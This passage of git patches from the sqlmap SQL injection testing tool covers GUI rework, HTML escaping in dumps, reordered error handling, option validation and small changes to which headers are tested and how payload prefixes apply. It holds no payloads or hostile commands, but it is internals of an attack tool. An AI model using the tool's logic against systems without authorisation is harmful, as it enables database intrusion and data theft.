lib.core.convert import getText from lib.core.convert import getUnicode +from lib.core.convert import htmlEscape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -557,7 +558,7 @@ def dbTableValues(self, tableValues): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "%s" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace"))) + dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace"))) field += 1 @@ -629,7 +630,7 @@ def dbTableValues(self, tableValues): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "%s" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace"))) + dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) field += 1 diff --git a/lib/core/settings.py b/lib/core/settings.py index c49b5d5b24a..9544dc4ccae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.118" +VERSION = "1.3.12.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f7a237fdee8b9b2dbdc8233f186989ed4d1bcdf6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 3 Dec 2019 23:30:28 +0100 Subject: [PATCH 766/800] Adding basic functionality to a hidden feature --- lib/core/gui.py | 83 ++++++++++++++++++++++++-------------------- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 +-- 3 files changed, 50 insertions(+), 40 deletions(-) diff --git a/lib/core/gui.py b/lib/core/gui.py index bfb34326d22..66ad8074495 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -5,17 +5,23 @@ See the file 'LICENSE' for copying permission """ +import os import re import socket import subprocess import sys +import tempfile import threading import webbrowser from lib.core.common import getSafeExString +from lib.core.common import saveConfig +from lib.core.data import paths from lib.core.defaults import defaults +from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapMissingDependence from lib.core.settings import DEV_EMAIL_ADDRESS +from lib.core.settings import IS_WIN from lib.core.settings import ISSUES_PAGE from lib.core.settings import GIT_PAGE from lib.core.settings import SITE @@ -110,48 +116,19 @@ def onReturnPress(event): line = "" event.widget.master.master.destroy() return "break" + except: + return event.widget.insert(tkinter.END, "\n") - counter = 0 - while True: - line = "" - try: - #line = queue.get_nowait() - line = queue.get(timeout=.1) - event.widget.insert(tkinter.END, line) - counter = 0 - except _queue.Empty: - event.widget.see(tkinter.END) - event.widget.update_idletasks() - if counter > 3: - break - else: - counter += 1 - return "break" def run(): + global alive global process global queue - ON_POSIX = "posix" in sys.builtin_module_names - - def enqueue(stream, queue): - for line in iter(stream.readline, b''): - queue.put(line) - stream.close() - - process = subprocess.Popen("/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=ON_POSIX) - - # Reference: https://stackoverflow.com/a/4896288 - queue = _queue.Queue() - thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) - thread.daemon = True - thread.start() - - - options = {} + config = {} for key in window._widgets: dest, type = key @@ -168,12 +145,34 @@ def enqueue(stream, queue): else: value = bool(widget.var.get()) - options[dest] = value + config[dest] = value for option in parser.option_list: - options[option.dest] = defaults.get(option.dest, None) + config[option.dest] = defaults.get(option.dest, None) + + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) - parser._args = options + saveConfig(config, configFile) + + def enqueue(stream, queue): + global alive + + for line in iter(stream.readline, b''): + queue.put(line) + + alive = False + stream.close() + + alive = True + + process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) + + # Reference: https://stackoverflow.com/a/4896288 + queue = _queue.Queue() + thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) + thread.daemon = True + thread.start() top = tkinter.Toplevel() top.title("Console") @@ -187,6 +186,16 @@ def enqueue(stream, queue): center(top) + while alive: + line = "" + try: + #line = queue.get_nowait() + line = queue.get(timeout=.1) + text.insert(tkinter.END, line) + except _queue.Empty: + text.see(tkinter.END) + text.update_idletasks() + menubar = tkinter.Menu(window) filemenu = tkinter.Menu(menubar, tearoff=0) @@ -262,4 +271,4 @@ def enqueue(stream, queue): first.focus() - window.mainloop() \ No newline at end of file + window.mainloop() diff --git a/lib/core/settings.py b/lib/core/settings.py index 9544dc4ccae..79d38ad4aa9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.0" +VERSION = "1.3.12.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c1a6cac4e87..85aef465043 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -78,6 +78,7 @@ def get_all_options(parser): from lib.core.dicts import DEPRECATED_OPTIONS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapShellQuitException +from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.option import _createHomeDirectories from lib.core.settings import BASIC_HELP_ITEMS @@ -863,10 +864,10 @@ def _format_action_invocation(self, action): if "--gui" in argv: from lib.core.gui import runGui + runGui(parser) - if hasattr(parser, "_args"): - return parser._args + raise SqlmapSilentQuitException elif "--sqlmap-shell" in argv: _createHomeDirectories() From c3a6b71023c03b4b40072cc3221eb051345e7060 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Dec 2019 13:50:16 +0100 Subject: [PATCH 767/800] Fixes #4025 --- lib/core/option.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index bc7e8572eaf..a7c7cbd207a 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2466,6 +2466,10 @@ def _basicOptionValidation(): errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) + if conf.cookieDel and len(conf.cookieDel): + errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" + raise SqlmapSyntaxException(errMsg) + if conf.crawlExclude: try: re.compile(conf.crawlExclude) From 568ee4669ec14e1fb30b0645102d010429d70772 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Dec 2019 13:56:46 +0100 Subject: [PATCH 768/800] Minor patch (gui) --- sqlmap.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/sqlmap.py b/sqlmap.py index e50f57456ed..0b086b90c8c 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -385,6 +385,12 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("window = tkinter.Tk()",)): + errMsg = "there has been a problem in initialization of GUI interface " + errMsg += "('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + elif "bad marshal data (unknown type code)" in excMsg: match = re.search(r"\s*(.+)\s+ValueError", excMsg) errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") From f4bfa7a5ae57f673e19f4c9c7eaf26b25e8e8073 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Dec 2019 22:20:00 +0100 Subject: [PATCH 769/800] Minor patch --- lib/core/testing.py | 2 +- sqlmap.py | 92 ++++++++++++++++++++++----------------------- 2 files changed, 47 insertions(+), 47 deletions(-) diff --git a/lib/core/testing.py b/lib/core/testing.py index db1c8712a87..200be1bd94f 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -208,7 +208,7 @@ def smokeTest(): continue for filename in files: - if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": + if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"): path = os.path.join(root, os.path.splitext(filename)[0]) path = path.replace(paths.SQLMAP_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') diff --git a/sqlmap.py b/sqlmap.py index 0b086b90c8c..cfb9ddac3b3 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -255,32 +255,7 @@ def main(): excMsg = traceback.format_exc() valid = checkIntegrity() - if valid is False: - errMsg = "code integrity check failed (turning off automatic issue creation). " - errMsg += "You should retrieve the latest development version from official GitHub " - errMsg += "repository at '%s'" % GIT_PAGE - logger.critical(errMsg) - print() - dataToStdout(excMsg) - raise SystemExit - - elif any(_ in excMsg for _ in ("tamper/", "waf/")): - logger.critical(errMsg) - print() - dataToStdout(excMsg) - raise SystemExit - - elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): - errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() - logger.critical(errMsg) - raise SystemExit - - elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or any(_ in excMsg for _ in ("source code string cannot contain null bytes", "No module named")): - errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() - logger.critical(errMsg) - raise SystemExit - - elif any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): + if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): errMsg = "memory exhaustion detected" logger.critical(errMsg) raise SystemExit @@ -300,13 +275,6 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("No such file", "_'")): - errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] - errMsg += "You should retrieve the latest development version from official GitHub " - errMsg += "repository at '%s'" % GIT_PAGE - logger.critical(errMsg) - raise SystemExit - elif "Read-only file system" in excMsg: errMsg = "output device is mounted as read-only" logger.critical(errMsg) @@ -373,13 +341,6 @@ def main(): logger.critical(errMsg) raise SystemExit - elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): - errMsg = "there has been a problem in enumeration. " - errMsg += "Because of a considerable chance of false-positive case " - errMsg += "you are advised to rerun with switch '--flush-session'" - logger.critical(errMsg) - raise SystemExit - elif all(_ in excMsg for _ in ("pymysql", "configparser")): errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)" logger.critical(errMsg) @@ -391,17 +352,56 @@ def main(): logger.critical(errMsg) raise SystemExit - elif "bad marshal data (unknown type code)" in excMsg: - match = re.search(r"\s*(.+)\s+ValueError", excMsg) - errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") - errMsg += ". Please delete .pyc files on your system to fix the problem" + elif kb.get("dumpKeyboardInterrupt"): + raise SystemExit + + elif any(_ in excMsg for _ in ("Broken pipe",)): + raise SystemExit + + elif valid is False: + errMsg = "code integrity check failed (turning off automatic issue creation). " + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE logger.critical(errMsg) + print() + dataToStdout(excMsg) raise SystemExit - elif kb.get("dumpKeyboardInterrupt"): + elif any(_ in excMsg for _ in ("tamper/", "waf/")): + logger.critical(errMsg) + print() + dataToStdout(excMsg) raise SystemExit - elif any(_ in excMsg for _ in ("Broken pipe",)): + elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or any(_ in excMsg for _ in ("source code string cannot contain null bytes", "No module named")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("No such file", "_'")): + errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + raise SystemExit + + elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): + errMsg = "there has been a problem in enumeration. " + errMsg += "Because of a considerable chance of false-positive case " + errMsg += "you are advised to rerun with switch '--flush-session'" + logger.critical(errMsg) + raise SystemExit + + elif "bad marshal data (unknown type code)" in excMsg: + match = re.search(r"\s*(.+)\s+ValueError", excMsg) + errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") + errMsg += ". Please delete .pyc files on your system to fix the problem" + logger.critical(errMsg) raise SystemExit for match in re.finditer(r'File "(.+?)", line', excMsg): From 424d4ee9689975a60730349d3ac25dfc143e5b7d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Dec 2019 22:45:57 +0100 Subject: [PATCH 770/800] Minor compatibility update --- lib/core/gui.py | 64 ++++++++++++++++++++++++------------------------- 1 file changed, 32 insertions(+), 32 deletions(-) diff --git a/lib/core/gui.py b/lib/core/gui.py index 66ad8074495..6bf7d9587ba 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -27,7 +27,6 @@ from lib.core.settings import SITE from lib.core.settings import VERSION_STRING from lib.core.settings import WIKI_PAGE -from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox from thirdparty.six.moves import queue as _queue line = "" @@ -36,19 +35,20 @@ def runGui(parser): try: - import tkinter - import tkinter.scrolledtext - import tkinter.ttk + from thirdparty.six.moves import tkinter as _tkinter + from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext + from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk + from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox except ImportError as ex: raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x - class ConstrainedEntry(tkinter.Entry): + class ConstrainedEntry(_tkinter.Entry): def __init__(self, master=None, **kwargs): - self.var = tkinter.StringVar() + self.var = _tkinter.StringVar() self.regex = kwargs["regex"] del kwargs["regex"] - tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) + _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) self.old_value = '' self.var.trace('w', self.check) self.get, self.set = self.var.get, self.var.set @@ -60,9 +60,9 @@ def check(self, *args): self.set(self.old_value) # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/ - class AutoresizableNotebook(tkinter.ttk.Notebook): + class AutoresizableNotebook(_tkinter_ttk.Notebook): def __init__(self, master=None, **kw): - tkinter.ttk.Notebook.__init__(self, master, **kw) + _tkinter_ttk.Notebook.__init__(self, master, **kw) self.bind("<>", self._on_tab_changed) def _on_tab_changed(self,event): @@ -71,11 +71,11 @@ def _on_tab_changed(self,event): tab = event.widget.nametowidget(event.widget.select()) event.widget.configure(height=tab.winfo_reqheight()) - window = tkinter.Tk() + window = _tkinter.Tk() window.title(VERSION_STRING) # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook - style = tkinter.ttk.Style() + style = _tkinter_ttk.Style() settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e" }, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} style.theme_create("custom", parent="alt", settings=settings) style.theme_use("custom") @@ -119,7 +119,7 @@ def onReturnPress(event): except: return - event.widget.insert(tkinter.END, "\n") + event.widget.insert(_tkinter.END, "\n") return "break" @@ -174,11 +174,11 @@ def enqueue(stream, queue): thread.daemon = True thread.start() - top = tkinter.Toplevel() + top = _tkinter.Toplevel() top.title("Console") # Reference: https://stackoverflow.com/a/13833338 - text = tkinter.scrolledtext.ScrolledText(top, undo=True) + text = _tkinter_scrolledtext.ScrolledText(top, undo=True) text.bind("", onKeyPress) text.bind("", onReturnPress) text.pack() @@ -191,23 +191,23 @@ def enqueue(stream, queue): try: #line = queue.get_nowait() line = queue.get(timeout=.1) - text.insert(tkinter.END, line) + text.insert(_tkinter.END, line) except _queue.Empty: - text.see(tkinter.END) + text.see(_tkinter.END) text.update_idletasks() - menubar = tkinter.Menu(window) + menubar = _tkinter.Menu(window) - filemenu = tkinter.Menu(menubar, tearoff=0) - filemenu.add_command(label="Open", state=tkinter.DISABLED) - filemenu.add_command(label="Save", state=tkinter.DISABLED) + filemenu = _tkinter.Menu(menubar, tearoff=0) + filemenu.add_command(label="Open", state=_tkinter.DISABLED) + filemenu.add_command(label="Save", state=_tkinter.DISABLED) filemenu.add_separator() filemenu.add_command(label="Exit", command=window.quit) menubar.add_cascade(label="File", menu=filemenu) menubar.add_command(label="Run", command=run) - helpmenu = tkinter.Menu(menubar, tearoff=0) + helpmenu = _tkinter.Menu(menubar, tearoff=0) helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) @@ -225,33 +225,33 @@ def enqueue(stream, queue): frames = {} for group in parser.option_groups: - frame = frames[group.title] = tkinter.Frame(notebook, width=200, height=200) + frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200) notebook.add(frames[group.title], text=group.title) - tkinter.Label(frame).grid(column=0, row=0, sticky=tkinter.W) + _tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W) row = 1 if group.get_description(): - tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=tkinter.W) - tkinter.Label(frame).grid(column=0, row=2, sticky=tkinter.W) + _tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W) + _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W) row += 2 for option in group.option_list: - tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=tkinter.W) + _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W) if option.type == "string": - widget = tkinter.Entry(frame) + widget = _tkinter.Entry(frame) elif option.type == "float": widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z") elif option.type == "int": widget = ConstrainedEntry(frame, regex=r"\A\d*\Z") else: - var = tkinter.IntVar() - widget = tkinter.Checkbutton(frame, variable=var) + var = _tkinter.IntVar() + widget = _tkinter.Checkbutton(frame, variable=var) widget.var = var first = first or widget - widget.grid(column=1, row=row, sticky=tkinter.W) + widget.grid(column=1, row=row, sticky=_tkinter.W) window._widgets[(option.dest, option.type)] = widget @@ -260,11 +260,11 @@ def enqueue(stream, queue): if hasattr(widget, "insert"): widget.insert(0, default) - tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=tkinter.W) + _tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W) row += 1 - tkinter.Label(frame).grid(column=0, row=row, sticky=tkinter.W) + _tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W) notebook.pack(expand=1, fill="both") notebook.enable_traversal() From ea0ec868e9196a113a7f71382e0d2491b8cca79b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Dec 2019 15:15:39 +0100 Subject: [PATCH 771/800] Fixes #4029 --- lib/controller/controller.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 3f122f5f9d3..a9bd38e28b8 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -456,18 +456,18 @@ def start(): for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 - skip = (place == PLACE.USER_AGENT and conf.level < 3) - skip |= (place == PLACE.REFERER and conf.level < 3) + skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3)) + skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3)) # --param-filter skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter) # Test Host header only if # --level >= 5 - skip |= (place == PLACE.HOST and conf.level < 5) + skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5)) # Test Cookie header only if --level >= 2 - skip |= (place == PLACE.COOKIE and conf.level < 2) + skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2)) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) From 82e6bc64c23c40c4178e0e6b2026abedf082bdbc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Dec 2019 15:20:09 +0100 Subject: [PATCH 772/800] Fixes #4026 --- lib/core/option.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index a7c7cbd207a..7e6cac63dbd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2477,6 +2477,13 @@ def _basicOptionValidation(): errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) + if conf.scope: + try: + re.compile(conf.scope) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) From 292bdf44795a151192c6fa13cb34356254a108b9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Dec 2019 16:02:25 +0100 Subject: [PATCH 773/800] Fixes #4028 --- lib/core/dump.py | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 69ccd29a35b..d5655aaba70 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -70,13 +70,12 @@ def __init__(self): self._lock = threading.Lock() def _write(self, data, newline=True, console=True, content_type=None): + text = "%s%s" % (data, "\n" if newline else " ") + if conf.api: dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE) - return - - text = "%s%s" % (data, "\n" if newline else " ") - if console: + elif console: dataToStdout(text) multiThreadMode = isMultiThreadMode() @@ -118,7 +117,6 @@ def singleString(self, data, content_type=None): def string(self, header, data, content_type=None, sort=True): if conf.api: self._write(data, content_type=content_type) - return if isListLike(data): self.lister(header, data, content_type, sort) @@ -150,7 +148,6 @@ def lister(self, header, elements, content_type=None, sort=True): if conf.api: self._write(elements, content_type=content_type) - return if elements: self._write("%s [%d]:" % (header, len(elements))) @@ -202,7 +199,6 @@ def userSettings(self, header, userSettings, subHeader, content_type=None): if conf.api: self._write(userSettings, content_type=content_type) - return if userSettings: self._write("%s:" % header) @@ -236,7 +232,6 @@ def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) - return maxlength = 0 @@ -279,7 +274,6 @@ def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: if conf.api: self._write(tableColumns, content_type=content_type) - return for db, tables in tableColumns.items(): if not db: @@ -353,7 +347,6 @@ def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) - return maxlength1 = len("Table") maxlength2 = len("Entries") @@ -412,7 +405,6 @@ def dbTableValues(self, tableValues): if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) - return dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) @@ -668,7 +660,6 @@ def dbTableValues(self, tableValues): def dbColumns(self, dbColumnsDict, colConsider, dbs): if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) - return for column in dbColumnsDict.keys(): if colConsider == "1": From 0c8f6156d2780fca95b2d046752a088d573da814 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Dec 2019 16:03:51 +0100 Subject: [PATCH 774/800] Trivial update --- lib/core/dump.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index d5655aaba70..9fd4c8fcf40 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import cgi import hashlib import os import re From 5d32ca638b1e7e29d18609d28a096247b1eb10b9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Dec 2019 16:11:22 +0100 Subject: [PATCH 775/800] Minor update --- sqlmapapi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmapapi.py b/sqlmapapi.py index 28da9036995..5eabbddeddc 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -16,7 +16,7 @@ import os import warnings -warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) +warnings.filterwarnings(action="ignore", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) from lib.core.common import getUnicode From e8535081921246917e6b173bf836aa737700faf8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Dec 2019 11:31:07 +0100 Subject: [PATCH 776/800] Update for #4030 --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 5b0a1e21c89..bc96632d72b 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -247,7 +247,7 @@ def prefixQuery(self, expression, prefix=None, where=None, clause=None): # If we are replacing () the parameter original value with # our payload do not prepend with the prefix - if where == PAYLOAD.WHERE.REPLACE: + if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030 query = "" # If the technique is stacked queries () do not put a space From 7b5a640d1f24900825d80a2a8189f128cad1f0eb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Dec 2019 11:35:22 +0100 Subject: [PATCH 777/800] Minor update --- extra/shutils/pyflakes.sh | 2 +- lib/core/convert.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index e4ea94d7487..cbdbe80c964 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -4,4 +4,4 @@ # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'" +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'" diff --git a/lib/core/convert.py b/lib/core/convert.py index 9551a5e436d..d5d24b3ed3f 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -19,6 +19,7 @@ import sys from lib.core.bigarray import BigArray +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA From 38d5086b88a90597e31aac5fad992c21cb0c464d Mon Sep 17 00:00:00 2001 From: "Gabriel M. Dutra" Date: Mon, 9 Dec 2019 17:49:11 -0300 Subject: [PATCH 778/800] Added implicit verification (#4032) --- sqlmapapi.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sqlmapapi.py b/sqlmapapi.py index 5eabbddeddc..9c903b81dd1 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -63,9 +63,9 @@ def main(): (args, _) = apiparser.parse_args() # Start the client or the server - if args.server is True: + if args.server: server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password) - elif args.client is True: + elif args.client: client(args.host, args.port, username=args.username, password=args.password) else: apiparser.print_help() From 1a95cea1f23aeeb2a396752e11e22f65b98aa292 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Dec 2019 22:13:52 +0100 Subject: [PATCH 779/800] Trivial updates --- lib/core/gui.py | 6 +++--- lib/core/profiling.py | 4 ++-- lib/core/update.py | 2 +- lib/utils/api.py | 2 +- lib/utils/brute.py | 2 +- thirdparty/keepalive/keepalive.py | 4 +++- 6 files changed, 11 insertions(+), 9 deletions(-) diff --git a/lib/core/gui.py b/lib/core/gui.py index 6bf7d9587ba..3143b892ff9 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -65,7 +65,7 @@ def __init__(self, master=None, **kw): _tkinter_ttk.Notebook.__init__(self, master, **kw) 